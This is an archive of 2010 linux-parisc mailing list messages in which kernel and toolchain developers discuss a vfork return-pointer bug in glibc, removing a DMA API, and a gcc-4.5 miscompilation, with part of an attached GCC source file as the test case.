* Parent resumes, restores rp from -20(%sp) and incorrectly returns to
just after the call to close.

At this point if the parent restores rp from the parents frame it will
get the rp the child's call to close saved.

The only way to get around this is to *ensure* the kernel
saves/restores r2 across the syscall.

I see no other way around it.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 16:20:43 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20100622202044.95E7E4E77@hiauly1.hia.nrc.ca>
References: <AANLkTinhRqCVK3NlPvqH4XfQiq_jnz3dWfp4k_vK1Eqf@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277238053 7821 80.91.229.12 (22 Jun 2010 20:20:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 20:20:53 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 22:20:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR9xf-0005xx-Ku
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 22:20:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754140Ab0FVUUr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 16:20:47 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3988 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754060Ab0FVUUq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 16:20:46 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 95E7E4E77; Tue, 22 Jun 2010 16:20:44 -0400 (EDT)
In-Reply-To: <AANLkTinhRqCVK3NlPvqH4XfQiq_jnz3dWfp4k_vK1Eqf@mail.gmail.com> from "Carlos O'Donell" at Jun 22, 2010 03:53:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2975
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2975>

> I disagree with you.
> 
> What about this scenario:
> * Parent call vfork, saves rp in -20(%sp) (parents frame)
> * Parent suspends upon entry to vfork syscall
> * Child returns from vfork syscall
> * Child restores rp from -20(%sp) (parents frame)
> * Child calls close which saves rp in -20(%sp) (parents frame)
> * Child calls execve
> * Parent resumes, restores rp from -20(%sp) and incorrectly returns to
> just after the call to close.
> 
> At this point if the parent restores rp from the parents frame it will
> get the rp the child's call to close saved.

You are right.

> 
> The only way to get around this is to *ensure* the kernel
> saves/restores r2 across the syscall.
> 
> I see no other way around it.

It looks as if r2 is saved for both parent and child.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 17:13:47 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <AANLkTilxGYoXiuLG0x551FsywsN1Wv0LQKf6ZZHA14AP@mail.gmail.com>
References: <AANLkTinhRqCVK3NlPvqH4XfQiq_jnz3dWfp4k_vK1Eqf@mail.gmail.com>
	<20100622202044.95E7E4E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1277241239 19889 80.91.229.12 (22 Jun 2010 21:13:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 21:13:59 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 23:13:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ORAn6-0004RW-S8
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 23:13:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755611Ab0FVVN4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 17:13:56 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:44387 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751535Ab0FVVNz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 17:13:55 -0400
Original-Received: by wwc33 with SMTP id 33so486360wwc.19
        for <linux-parisc@vger.kernel.org>; Tue, 22 Jun 2010 14:13:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=Uqhwu3LI4ZEmOsXUXxxdkLu12xk2f8QuUWTTjfd8/4A=;
        b=DsLXwNmoej2kjJ4uyOy5jiwFY+lgUVpsYsZ6RFXxpXRRTo7u0UWJoWJjOXN3wO8vIA
         OgFK/KFPWzCxlTfx+feuNwMf/mZTrzBkxderFq3rfqODbjN4+iUrYUVUc+8QiAFhonuZ
         T9ZhmyYHlUjQZqnsK3lrd7NtsxZkYE4ZbuwDM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=W620Yg/+NYSee6PN5+cUXNZB/Ag1kUQ4q8wiCZaJjWp5jX86tcvTUpH40QQlcJaR5A
         PxyShOZ4v7U39ue2WCEuQdBAEYUCihvlqae1gnU1RnoB4Gc589S0VWgzKcgdBAuBXqON
         zBF3dlfQeMDvCBwdN2iQD6sgfQP5SjI4yp3Cc=
Original-Received: by 10.216.88.196 with SMTP id a46mr5131476wef.36.1277241227822; Tue, 
	22 Jun 2010 14:13:47 -0700 (PDT)
Original-Received: by 10.216.22.149 with HTTP; Tue, 22 Jun 2010 14:13:47 -0700 (PDT)
In-Reply-To: <20100622202044.95E7E4E77@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: OzLeQhlOc6xPQB4eNFZfheLWx4g
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2976>

On Tue, Jun 22, 2010 at 4:20 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> At this point if the parent restores rp from the parents frame it will
>> get the rp the child's call to close saved.
>
> You are right.
>
>>
>> The only way to get around this is to *ensure* the kernel
>> saves/restores r2 across the syscall.
>>
>> I see no other way around it.
>
> It looks as if r2 is saved for both parent and child.

Perfect, in that case we have all the bases covered.

I have seen no regressions in my testing, so I will push this patch
into glibc-ports, and notify debian.

I still saw a hang in tst-vfork2, but I haven't investigated this yet.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 18:50:35 -0400
Organization: nrc.ca
Lines: 21
Approved: news@gmane.org
Message-ID: <20100622225035.GA13794@hiauly1.hia.nrc.ca>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com> <20100620042814.ECC205160@hiauly1.hia.nrc.ca> <AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com> <AANLkTinFBc9524WWuwrRvuBQGY0OCqjPIZ_t9A7esb-B@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1277247049 7014 80.91.229.12 (22 Jun 2010 22:50:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 22:50:49 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 23 00:50:47 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ORCIi-0002X3-Cm
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Jun 2010 00:50:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751793Ab0FVWuj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 18:50:39 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3998 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752160Ab0FVWuj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 18:50:39 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BD3A14E77; Tue, 22 Jun 2010 18:50:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <AANLkTinFBc9524WWuwrRvuBQGY0OCqjPIZ_t9A7esb-B@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2977
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2977>

On Tue, 22 Jun 2010, Carlos O'Donell wrote:

>         /* Return, no need to restore the PIC register. */
> -       ldw     -84(%sp), %rp
> -       bv      %r0(%rp)
> -       ldwm    -64(%sp), %r3
> +       ldw     -20(%sp), %rp
> +       bv,n    %r0(%rp)

For the reasons discussed, I don't believe that %rp should be restored
from the stack.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Wed, 23 Jun 2010 09:38:27 +0900
Lines: 29
Approved: news@gmane.org
Message-ID: <20100623093638R.fujita.tomonori@lab.ntt.co.jp>
References: <20100617153051.GB8964@linux-sh.org>
	<20100622152823R.fujita.tomonori@lab.ntt.co.jp>
	<1277227564.9374.7.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277253530 23711 80.91.229.12 (23 Jun 2010 00:38:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 23 Jun 2010 00:38:50 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, lethal@linux-sh.org,
	davem@davemloft.net, mchan@broadcom.com, vapier@gentoo.org,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 23 02:38:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ORDzL-0003Tu-MT
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Jun 2010 02:38:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752186Ab0FWAio (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 20:38:44 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:42647 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751231Ab0FWAio (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 20:38:44 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5N0cRQY003426;
	Wed, 23 Jun 2010 09:38:27 +0900
In-Reply-To: <1277227564.9374.7.camel@mulgrave.site>
Original-Lines: 24
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Wed, 23 Jun 2010 09:38:29 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2978 gmane.linux.network:164517 gmane.linux.kernel:1001960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2978>

On Tue, 22 Jun 2010 12:26:04 -0500
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> > As I wrote, there is only one user of this API and we can remove it
> > easily. Then I'm not sure it's worth fixing dma_is_consistent() in
> > many architectures. I prefer to add this to
> > feature-removal-schedule.txt to see if driver writers oppose.
> 
> Let me check our two drivers: lasi and 53c700; they're the only ones we
> support on the architecture that can't do any coherence.  I think we
> don't need to tell because the dma_sync_cache calls which replace
> coherent memory handling are indirected on the platform so we don't need
> a global dma_is_coherent() flag.

There is only one place where 53c700 uses dma_is_consistent() (lasi
doesn't use it):

	BUG_ON(!dma_is_consistent(hostdata->dev, pScript) && L1_CACHE_BYTES < dma_get_cache_alignment());

I think that we can remove the above checking since the existing
parisc systems that can't allocate coherent memory pass this checking.

53c700 and lasi call dma_cache_sync() unconditionally so we can live
without dma_is_consistent().
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-4.5 -fdelayed-branch strikes back
Date: Sun, 27 Jun 2010 15:48:04 +0200
Lines: 381
Approved: news@gmane.org
Message-ID: <20100627154804.1de3b212@borg.bxl.tuxicoman.be>
References: <20100604181712.43456ddb@borg.bxl.tuxicoman.be>
	<20100604193229.473BB515D@hiauly1.hia.nrc.ca>
	<20100605115808.0ff33504@borg.bxl.tuxicoman.be>
	<20100607232907.GA10176@hiauly1.hia.nrc.ca>
	<20100611194516.496c2ddf@zombie>
	<20100613192447.GA14692@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/7fMe95KU5NVNdr3x.NL/hmC"
X-Trace: dough.gmane.org 1277646500 21457 80.91.229.12 (27 Jun 2010 13:48:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 27 Jun 2010 13:48:20 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 27 15:48:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OSsDY-0002dT-3b
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Jun 2010 15:48:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755194Ab0F0NsN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Jun 2010 09:48:13 -0400
Original-Received: from smtp5.tech.numericable.fr ([82.216.111.41]:33871 "EHLO
	smtp5.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755187Ab0F0NsM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Jun 2010 09:48:12 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp5.tech.numericable.fr (Postfix) with ESMTP id 7A5CB12400F;
	Sun, 27 Jun 2010 15:48:07 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OSsDM-0004Sw-G1; Sun, 27 Jun 2010 15:48:07 +0200
In-Reply-To: <20100613192447.GA14692@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2979
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2979>

--MP_/7fMe95KU5NVNdr3x.NL/hmC
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


Hi Dave,

What commit/version were you using exactly for your tests ?

I've setup a debian chroot on both my c3600 and c8000 and I'm able to
reproduce with the latest experimental gcc :
gcc version 4.5.1 20100527 (prerelease) (Debian 4.5.0-4) 

On my gentoo systems, the compiler used to build gcc didn't seem to
make a difference, I've tried 4.2.4, 4.3.3 and 4.4.3, every gcc-4.5
compiled with those failed the same way.

I've reattached the test case since I removed the dependency to
libiberty.h.

Regards,
  Guy

On Sun, 13 Jun 2010 15:24:47 -0400
John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:

> On Fri, 11 Jun 2010, Guy Martin wrote:
> 
> Hi Guy,
> 
> > The test case should make things pretty easy to repro. But if you
> > need some more details let me know.
> 
> I wasn't able to get your testcase to fail with my last build of
> 4.5.1. It used 4.3.3 for the bootstrap compiler.  I'm fairly certain
> 4.5 is being miscompliled in stage1 when 4.4 is used as the bootstap
> compiler.
> 
> Dave


--MP_/7fMe95KU5NVNdr3x.NL/hmC
Content-Type: text/x-c++src
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=gengenrtl.c

/* Generate code to allocate RTL structures.
   Copyright (C) 1997, 1998, 1999, 2000, 2002, 2003, 2004, 2007
   Free Software Foundation, Inc.

This file is part of GCC.

GCC is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 3, or (at your option) any later
version.

GCC is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
for more details.

You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING3.  If not see
<http://www.gnu.org/licenses/>.  */


#include <string.h>
#include <stdio.h>
#define gcc_unreachable() __builtin_unreachable()

struct rtx_definition
{
  const char *const enumname, *const name, *const format;
};

/* rtl.def needs CONST_DOUBLE_FORMAT, but we don't care what
   CONST_DOUBLE_FORMAT is because we're not going to be generating
   anything for CONST_DOUBLE anyway.  */
#define CONST_DOUBLE_FORMAT ""

#define DEF_RTL_EXPR(ENUM, NAME, FORMAT, CLASS) { #ENUM, NAME, FORMAT },

 const struct rtx_definition defs[] =
{
DEF_RTL_EXPR(UNKNOWN, "UnKnown", "*", RTX_EXTRA)
DEF_RTL_EXPR(VALUE, "value", "0", RTX_OBJ)
DEF_RTL_EXPR(DEBUG_EXPR, "debug_expr", "0", RTX_OBJ)
DEF_RTL_EXPR(EXPR_LIST, "expr_list", "ee", RTX_EXTRA)
DEF_RTL_EXPR(INSN_LIST, "insn_list", "ue", RTX_EXTRA)
DEF_RTL_EXPR(SEQUENCE, "sequence", "E", RTX_EXTRA)
DEF_RTL_EXPR(ADDRESS, "address", "e", RTX_MATCH)
DEF_RTL_EXPR(DEBUG_INSN, "debug_insn", "iuuBieie", RTX_INSN)
DEF_RTL_EXPR(INSN, "insn", "iuuBieie", RTX_INSN)
DEF_RTL_EXPR(JUMP_INSN, "jump_insn", "iuuBieie0", RTX_INSN)
DEF_RTL_EXPR(CALL_INSN, "call_insn", "iuuBieiee", RTX_INSN)
DEF_RTL_EXPR(BARRIER, "barrier", "iuu00000", RTX_EXTRA)
DEF_RTL_EXPR(CODE_LABEL, "code_label", "iuuB00is", RTX_EXTRA)
DEF_RTL_EXPR(NOTE, "note", "iuuB0ni", RTX_EXTRA)
DEF_RTL_EXPR(COND_EXEC, "cond_exec", "ee", RTX_EXTRA)
DEF_RTL_EXPR(PARALLEL, "parallel", "E", RTX_EXTRA)
DEF_RTL_EXPR(ASM_INPUT, "asm_input", "si", RTX_EXTRA)
DEF_RTL_EXPR(ASM_OPERANDS, "asm_operands", "ssiEEEi", RTX_EXTRA)
DEF_RTL_EXPR(UNSPEC, "unspec", "Ei", RTX_EXTRA)
DEF_RTL_EXPR(UNSPEC_VOLATILE, "unspec_volatile", "Ei", RTX_EXTRA)
DEF_RTL_EXPR(ADDR_VEC, "addr_vec", "E", RTX_EXTRA)
DEF_RTL_EXPR(ADDR_DIFF_VEC, "addr_diff_vec", "eEee0", RTX_EXTRA)
DEF_RTL_EXPR(PREFETCH, "prefetch", "eee", RTX_EXTRA)
DEF_RTL_EXPR(SET, "set", "ee", RTX_EXTRA)
DEF_RTL_EXPR(USE, "use", "e", RTX_EXTRA)
DEF_RTL_EXPR(CLOBBER, "clobber", "e", RTX_EXTRA)
DEF_RTL_EXPR(CALL, "call", "ee", RTX_EXTRA)
DEF_RTL_EXPR(RETURN, "return", "", RTX_EXTRA)
DEF_RTL_EXPR(EH_RETURN, "eh_return", "", RTX_EXTRA)
DEF_RTL_EXPR(TRAP_IF, "trap_if", "ee", RTX_EXTRA)
DEF_RTL_EXPR(CONST_INT, "const_int", "w", RTX_CONST_OBJ)
DEF_RTL_EXPR(CONST_FIXED, "const_fixed", "www", RTX_CONST_OBJ)
DEF_RTL_EXPR(CONST_DOUBLE, "const_double", CONST_DOUBLE_FORMAT, RTX_CONST_OBJ)
DEF_RTL_EXPR(CONST_VECTOR, "const_vector", "E", RTX_CONST_OBJ)
DEF_RTL_EXPR(CONST_STRING, "const_string", "s", RTX_OBJ)
DEF_RTL_EXPR(CONST, "const", "e", RTX_CONST_OBJ)
DEF_RTL_EXPR(PC, "pc", "", RTX_OBJ)
DEF_RTL_EXPR(REG, "reg", "i00", RTX_OBJ)
DEF_RTL_EXPR(SCRATCH, "scratch", "0", RTX_OBJ)
DEF_RTL_EXPR(SUBREG, "subreg", "ei", RTX_EXTRA)
DEF_RTL_EXPR(STRICT_LOW_PART, "strict_low_part", "e", RTX_EXTRA)
DEF_RTL_EXPR(CONCAT, "concat", "ee", RTX_OBJ)
DEF_RTL_EXPR(CONCATN, "concatn", "E", RTX_OBJ)
DEF_RTL_EXPR(MEM, "mem", "e0", RTX_OBJ)
DEF_RTL_EXPR(LABEL_REF, "label_ref", "u", RTX_CONST_OBJ)
DEF_RTL_EXPR(SYMBOL_REF, "symbol_ref", "s00", RTX_CONST_OBJ)
DEF_RTL_EXPR(CC0, "cc0", "", RTX_OBJ)
DEF_RTL_EXPR(IF_THEN_ELSE, "if_then_else", "eee", RTX_TERNARY)
DEF_RTL_EXPR(COMPARE, "compare", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(PLUS, "plus", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(MINUS, "minus", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(NEG, "neg", "e", RTX_UNARY)
DEF_RTL_EXPR(MULT, "mult", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(SS_MULT, "ss_mult", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(US_MULT, "us_mult", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(DIV, "div", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(SS_DIV, "ss_div", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(US_DIV, "us_div", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(MOD, "mod", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(UDIV, "udiv", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(UMOD, "umod", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(AND, "and", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(IOR, "ior", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(XOR, "xor", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(NOT, "not", "e", RTX_UNARY)
DEF_RTL_EXPR(ASHIFT, "ashift", "ee", RTX_BIN_ARITH) /* shift left */
DEF_RTL_EXPR(ROTATE, "rotate", "ee", RTX_BIN_ARITH) /* rotate left */
DEF_RTL_EXPR(ASHIFTRT, "ashiftrt", "ee", RTX_BIN_ARITH) /* arithmetic shift right */
DEF_RTL_EXPR(LSHIFTRT, "lshiftrt", "ee", RTX_BIN_ARITH) /* logical shift right */
DEF_RTL_EXPR(ROTATERT, "rotatert", "ee", RTX_BIN_ARITH) /* rotate right */
DEF_RTL_EXPR(SMIN, "smin", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(SMAX, "smax", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(UMIN, "umin", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(UMAX, "umax", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(PRE_DEC, "pre_dec", "e", RTX_AUTOINC)
DEF_RTL_EXPR(PRE_INC, "pre_inc", "e", RTX_AUTOINC)
DEF_RTL_EXPR(POST_DEC, "post_dec", "e", RTX_AUTOINC)
DEF_RTL_EXPR(POST_INC, "post_inc", "e", RTX_AUTOINC)
DEF_RTL_EXPR(PRE_MODIFY, "pre_modify", "ee", RTX_AUTOINC)
DEF_RTL_EXPR(POST_MODIFY, "post_modify", "ee", RTX_AUTOINC)
DEF_RTL_EXPR(NE, "ne", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(EQ, "eq", "ee", RTX_COMM_COMPARE)
